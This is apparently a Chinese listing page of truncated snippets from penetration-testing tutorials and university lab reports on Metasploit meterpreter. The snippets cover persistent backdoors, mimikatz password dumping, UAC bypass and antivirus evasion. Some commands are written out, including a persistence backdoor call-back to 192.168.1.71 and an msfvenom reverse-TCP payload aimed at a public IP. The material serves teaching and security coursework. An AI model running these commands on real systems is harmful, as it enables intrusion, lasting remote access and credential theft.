meterpreter持久后门

meterpreter持久后门背景:meterpreter好是好,但有个大问题,只要目标和本机连接断开一次后就再也连不上了,需要再次用exploit打才行!!! 解决方案:在与目标设备的meterpreter会话中创建一个持久后门(此后门将重新生成一个木马文件,并且该文件将周期性向服务端发送TCP请求) 具体步骤: meterpreter > run persistence -U -i 5 -p 123 -r 192.168.1.71 =====>创建持久性后门 -A…

meterpreter 持久后门

创建持久后门当成功获取目标系统的访问权限后,需要寻找方法来恢复与目标主机的连接,而无需再进入目标系统.如果目标用户破坏了该连接,例如重新启动计算机,此时使用后门将允许自动重新与目标系统建立连接.为了后续渗透方便,所以需要创建一个后门.这样,即使连接被中断,也不会影响工作.下面将介绍创建持久后门.创建持久后门的具体操作步骤如下所示. (1)激活Meterpreter会话.执行命令如下所示: msf exploit(handler) > sessions -i 1 [*] Starting int…

msf客户端渗透（八）：持久后门，mimikatz使用，获取PHP服务器shell

持续后门先获取一个session 在目标主机上生成持续后门设置侦听参数启动侦听重新启动被攻击的主机一启动攻击者时获取到session mimikatz的使用 mimikatz是俄罗斯组织开发的工具加载mimikatz help查看命令 msv获取用户名和hash wdigest获取内存中的明文密码信息 kerberos获取内存中的明文密码信息查看hash 查看bootkey 查看被攻击主机上运行的进程查看被攻击主机上运行的服务查看被攻击主机的加密条件 PHP shell 生成一…

2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践实验内容(概要): (1)使用netcat获取主机Shell,cron启动首先两个电脑(虚拟机)都得有netcat,然后各使用netcat互相攻击一次.最后使用在linux用cron设置一个定时启动. (2)使用socat获取主机Shell, 任务计划启动与第一个区别在于,第二个虚拟机使用Windows的任务计划启动一次,设置一个定时启动. (3)使用MSF meterpreter生成可执行文件,利用ncat或…

msf后门之persistence

在获取得了meterpreter shell后使用Persistence建立持续性后门 run persistence -h meterpreter > run persistence -h [!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...]…

20165223《网络对抗技术》Exp2 后门原理与实践

目录 -- 后门原理与实践后门原理与实践说明实验任务基础知识问答常用后门工具实验内容任务一:使用netcat获取主机操作Shell,cron启动任务二:使用socat获取主机操作Shell, 任务计划启动任务三:使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell 任务四:使用MSF meterpreter生成获取目标主机音频.摄像头.击键记录等内容,并尝试提权实验遇到的问题及解决方法实验收获与感想 1 后门原理与实践说…

Meterpreter命令详解

0x01初识Meterpreter 1.1.什么是Meterpreter Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道.使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接.Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户.隐藏一些东西.打开shell.得到用户密码.上传下载远程主机的文件.运行cmd.exe.捕捉屏幕.得到远程控制…

20155304《网络对抗》Exp2 后门原理与实践

20155332<网络对抗>Exp2 后门原理与实践实验内容 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主机操作Shell, 任务计划启动 (0.5分) (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分) (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频.摄像头.击键记录等内容,并尝试提权 (2分) (5)可…

20145321《网络对抗》Exp2 后门原理与实践

实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell (4)使用MSF meterpreter生成获取目标主机音频.摄像头.击键记录等内容,并尝试提权基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非正规的网址下载的软件,里面经常有很多捆绑的不明程序,有可能就会被…… 一些奇奇怪怪…

Bypass AV meterpreter免杀技巧

0x01 meterpreter简介 MetasploitFramework是一个缓冲区溢出测试使用的辅助工具,也可以说是一个漏洞利用和测试平台,它集成了各种平台上常见的溢出漏洞和流行的shellcode,并且不断更新,使得缓冲区溢出测试变的方便和简单. 需要说明的是meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令,经常出现什么sending stager er…

[转帖]基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解

基于VIM漏洞CVE-2019-12735的VIM宏后门病毒详解不明觉厉只要是人做的东西就会有bug 就会有安全问题就看发现bug 或者是发现安全问题有没有收益了会用linux的都是比较熟悉操作系统等概念的不容易被钓鱼反过来很多用windows的能力会很差, 所以 windows上面显的更加脆弱. 这就好比开丰田车出事故的人要比开众泰出事故的人要多很多一个道理. 众泰开的少而且大家都可能会修车了.. https://www.freebuf.com/vuls/205516.h…

Msf的一些常用操作

payload的几个常用生成生成windows下的反弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST=60.205.212.140 LPORT=8888 -f exe > 8888.exe// -p < payload > -f < format> -o < path> = > 监听 use exploit/multi/handlerset PAYLOAD windows/meterpreter/r…

kali linux之msf后渗透阶段

已经获得目标操作系统控制权后扩大战果提权信息收集渗透内网永久后门基于已有session扩大战果绕过UAC限制 use exploit/windows/local/ask set session -id set filename use exploit/windows/local/bypassuac use exploit/windows/local/bypassuac_injection set session -id set payload 利用漏洞直接提权为systen use…

Kali-linux使用社会工程学工具包（SET）

社会工程学工具包(SET)是一个开源的.Python驱动的社会工程学渗透测试工具.这套工具包由David Kenned设计,而且已经成为业界部署实施社会工程学攻击的标准.SET利用人们的好奇心.信任.贪婪及一些愚蠢的错误,攻击人们自身存在的弱点.使用SET可以传递攻击载荷到目标系统,收集目标系统数据,创建持久后门,进行中间人攻击等.本节将介绍社会工程学工具包的使用. 7.3.1 启动社会工程学工具包使用社会工程学工具包之前,需要启动该工具.具体操作步骤如下所示. (1)启动SET.在终端执行如…

metasploit msfconsole 命令

metasploit msfconsole 命令 msf > help db_autopwn Commands =================== Command Description ------- ----------- db_autopwn Automatically exploit everything Core Commands ============= Command Description ------- ----------- ? Help menu banner Dis…

第十七章 Metasploit Framework

渗透测试者的困扰▪ 需要掌握数百个工具软件,上千个命令参数,实在记不住▪ 新出现的漏洞PoC/EXP有不同的运行环境要求,准备工作繁琐▪ 大部分时间都在学习使用不同工具的使用习惯,如果能统一就好了▪ Metasploit 能解决以上困扰吗? MSF架构 ▪ Rex – 基本功能库,用于完成日常基本任务,无需人工手动编码实现 – 处理 socket 连接访问.协议应答(http/SSL/SMB等) – 编码转换(XOR.Base64.Unicode)▪ Msf::Core – 提供 Msf 的核心…

msf学习笔记

metasploit frame 这是一个渗透测试框架,围绕这个框架,我们就可以完成最终的目标,即渗透测试. 渗透测试者困扰:需要掌握数百个工具,上千条命令参数,很难记住. 新出现的漏洞PoC/EXP有不同的运行环境要求,准备工作繁琐. 大部分时间都在学习不同工具的使用习惯,如果能统一就好了. MSF默认集成在Kali linux之中,使用postgresql数据库存储数据. MSF::Core:最底层的库,提供Msf的核心基本API,是框架的核心能力实现库. MSF::Base:基于Core库…